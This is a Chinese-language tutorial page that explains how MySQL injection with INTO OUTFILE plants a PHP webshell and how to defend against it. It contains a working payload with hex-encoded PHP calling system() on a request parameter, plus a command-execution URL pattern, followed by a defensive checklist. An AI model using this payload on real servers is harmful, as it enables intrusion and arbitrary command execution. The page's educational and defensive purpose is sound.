首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> MySQL 資料庫 >> MySQL 綜合教學

MySQL 注入生成 Webshell 實戰與防範 (僅供安全研究)

     編輯:MySQL 綜合教學

MySQL 注入生成 Webshell 實戰與防範 (僅供安全研究)

聲明:本文僅用於安全原理分析與防禦體系建設,嚴禁用於非授權滲透測試或非法攻擊。請遵守《網絡安全法》等法律法規。

攻擊原理

利用 UNION SELECT ... INTO OUTFILE 將精心構造的十六進制編碼 PHP 代碼寫入 Web 目錄,形成 Webshell。前提條件極其苛刻:

  1. 存在 SQL 注入點且權限含 FILE 權限。
  2. MySQL secure_file_priv 未限制或目標目錄在允許範圍內。
  3. Web 服務器對該目錄有寫入權限且解析 PHP。
  4. 知道 Web 物理路徑 (可通過報錯、phpinfo、探針獲取)。

經典 Payload 解析

SELECT * FROM vbb_strikes WHERE 1
UNION SELECT 2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E
FROM vbb_strikes
INTO OUTFILE 'c:/inetpub/wwwroot/cmd.php'
  • 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E = 的 Hex 編碼。
  • 寫入成功後訪問 https://target/cmd.php?cmd=dir 即可執行系統命令。

為什麼現代環境難以利用

防禦機制作用
secure_file_priv = /var/lib/mysql-files/限制 OUTFILE 只能寫入指定目錄,通常非 Web 目錄
最小權限賬號業務賬號無 FILE 權限
WAF / 參數化查詢阻斷 SQL 注入本身
Web 目錄不可寫PHP-FPM/Apache 用戶無寫權限
禁用危險函數disable_functions=system,exec,shell_exec,passthru...
open_basedir限制 PHP 可訪問目錄

防範檢查清單 (藍隊視角)

  1. 代碼層:全量使用 PreparedStatement,嚴禁字串拼接 SQL;輸入驗證、長度限制、類型轉換。
  2. 資料庫層:
    • 業務賬號 REVOKE FILE ON *.* FROM 'app'@'%';
    • secure_file_priv = /data/mysql-files/ (非 Web 目錄)
    • 開啟 audit_log 記錄所有 INTO OUTFILE、LOAD DATA 操作。
  3. 服務器層:
    • Web 目錄 chown root:root; chmod 755,PHP 運行用戶無寫權限。
    • 上傳目錄單獨掛載 noexec,nosuid,nodev,禁用腳本解析。
    • 部署 WAF (ModSecurity + OWASP CRS) 或雲 WAF。
  4. 應急響應:定期掃描 Web 目錄異常 .php/.jsp/.asp 文件;監控 general_log 異常 INTO OUTFILE;建立文件完整性基線 (Tripwire/AIDE)。
SQL 注入 → Webshell 是「殺傷鏈」的經典一環。斷開任一環 (注入點、FILE 權限、寫入路徑、解析執行) 即可阻斷攻擊。纵深防御比單點修補更可靠。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved